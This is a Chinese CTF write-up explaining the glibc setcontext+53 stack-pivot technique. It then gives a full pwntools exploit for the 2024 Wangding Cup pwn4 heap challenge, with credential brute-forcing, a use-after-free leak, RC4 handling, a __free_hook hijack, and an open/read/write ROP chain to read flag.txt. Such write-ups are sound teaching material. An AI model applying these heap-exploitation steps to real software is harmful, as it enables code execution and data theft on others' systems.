setcontext

setcontext用于恢复寄存器和栈的一个函数,类似于srop中sigreturn,主要利用setcontext+53的位置来伪造栈空间来构造rop链。即给rsp寄存器传参

1

libc-2.29之前setcontext是通过rdi来索引的,libc-2.29之后rdi变为rdx

利用

程序开启了沙箱,无法直接system("/bin/sh")来获得shell,或者是需要构造rop链来实现orw获得flag时,可以考虑利用setcontext构造一个fake_stack

能知道heap_base的地址和libc_base的地址即可利用

  • 先劫持free_hook,使其指向setcontext+53的位置

  • 在堆中传入0xa0个填充字符+fake_stack的地址+返回地址

  • 调用free,释放掉上述的堆块,此时rdi为上述堆块的地址,rdi+0xa0正好为fake_stack的地址,rdi+0xa8为返回地址

  • 之后mov rsp,[rdi+0xa0]伪造出fake_stack,mov rcx,[rdi+0xa8];push rcx使rcx为栈顶空间,之后再次ret,返回到rcx即rdi+0xa8的地址位置

  • fake_stack中的数据可写在另一个chunk中,这样知道了heap_base即可知道fake_stack的地址

实例

2024网鼎杯青龙组初赛pwn4

分析

2

main函数,禁用execve,开始需要输入用户名和密码,cmp中调用strlen()来比较前几位字符,若前几位相同,则会打印Invalid username length否则打印Invalid username因此可以类似于爆破canary一样爆破username和password

结果

1
2
username = "4dm1n"
password = "985da4f8cb37zkj"

之后就是堆的部分,四功能齐全

3

4

5

6

在输入数据里会有一个加密,同样的,输出里也会有一个加密,free后会恢复加密。这就导致了如果利用UAF直接泄露地址,会泄露出加密的地址,如果edit伪造一个地址,也会被加密,导致成为一个非法地址

rc4加密

该题目的加密手法是rc4加密

9

rc4加密首先会有一个密钥,如图密钥为s4cur1ty_p4ssw0rd

之后会对密钥进行处理,来生成一个密钥流,利用密钥流对明文进行加密

7

8

rc4加密有以下特点

  • rc4为对称加密,加密解密用一个密钥
  • rc4甚至加密解密是同一个算法,意味着对同一组数据加密两次相当于没有进行加密
  • 原文密文长度一样,若对密文的一部分进行解密,解密的结果仍是原文相对应的部分

可以利用python来辅助解密

1
2
3
4
5
6
7
8
9
10
from Crypto.Cipher import ARC4
def encrypt(decryted): #加密
key = b"s4cur1ty_p4ssw0rd"
cipher = ARC4.new(key=key)
return cipher.encrypt(decryted)

def decrypt(encrypted): #解密
key = b"s4cur1ty_p4ssw0rd"
cipher = ARC4.new(key=key)
return cipher.decrypt(encrypted)

由于rc4的特性实际上两个函数一样,因此只需写一个即可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from pwn import*
from LibcSearcher import*
from ctypes import*
from Crypto.Cipher import ARC4
context(log_level='debug',arch='amd64',os='linux')

libc=ELF('./pwn_tools/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6')
libc=ELF('./libc.so.6')#
#e=ELF('./pwn')
r=process('./pwn')
#r=remote('challenge.basectf.fun',49570)#libc 2.35 0 3.7
s = lambda content : r.send(content)
sl = lambda content : r.sendline(content)
sa = lambda content,send : r.sendafter(content, send)
sla = lambda content,send : r.sendlineafter(content, send)
rc = lambda number : r.recv(number)
ru = lambda content : r.recvuntil(content)
getaddress = lambda num : u64(r.recv(num).ljust(8,b'\x00'))
#=================================================================================

def choice(ch):
r.sendlineafter(b"> \n", str(ch).encode())

def add(idx, size, content):
choice(1)
r.sendlineafter(b"Input the key: \n", str(idx).encode())
r.sendlineafter(b"nput the value size: \n", str(size).encode())
r.sendlineafter(b"Input the value: \n", content)

def show(idx):
choice(2)
r.sendlineafter(b"Input the key: \n", str(idx).encode())

def free(idx):
choice(3)
r.sendlineafter(b"Input the key: \n", str(idx).encode())

def edit(idx,content):
choice(4)
r.sendlineafter(b"Input the key: \n", str(idx).encode())
content=decrypt(content)
r.sendlineafter(b"Input the value: \n", content)

def decrypt(decryted):
key = b"s4cur1ty_p4ssw0rd"
cipher = ARC4.new(key=key)
return cipher.decrypt(decryted)

ru("Input your username:\n")
sl("4dm1n")
sla("Input your password:\n","985da4f8cb37zkj")
for i in range(10):
add(i,0x100,'a')
for i in range(8):
free(i)
show(7)
ru("[7,")
libcbase=rc(8).ljust(8,b'\x00')
libcbase=u64(decrypt(libcbase))-(0x70f2107ebca0-0x70f210400000)
print(hex(libcbase))
show(2)
ru("[2,")
heapbase=u64(decrypt(rc(8).ljust(8,b'\x00')))-0x1780
print(hex(heapbase))
fakestack=heapbase+0x1780

ret=libcbase+0x8aa
rdi=libcbase+0x000000000002164f
rsi=libcbase+0x0000000000023a6a
rdx=libcbase+0x0000000000001b96

payload=flat(rdi,fakestack+0x98,rsi,0,rdx,0,libcbase+libc.sym["open"])
payload+=flat(rdi,3,rsi,fakestack+0xa0,rdx,0x30,libcbase+libc.sym.read)
payload+=flat(rdi,1,rsi,fakestack+0xa0,libcbase+libc.sym.write)+b'flag.txt\x00'

edit(1,payload)
#edit(6,p64(libcbase+0x000000000052085))#setcontext
edit(6,p64(libcbase+libc.sym["__free_hook"]))
add(10,0x100,(0xa0*b'a'+p64(fakestack)+p64(ret)))#rdi+0xa0 rdi+0xa8
#gdb.attach(r)
add(11,0x100,decrypt(p64(libcbase+0x000000000052085)))#此处是对free_hook处进行修改,由于free_hook在源程序中访问不到,此处也不会被程序加密,因此只需要传输原文即可
#add(12,0x200,'a')
gdb.attach(r)
free(10)



r.interactive()

由于地址的随机性,导致有时候地址会被加密出\n截断后续内容

原题中最后orw的flag是flag.txt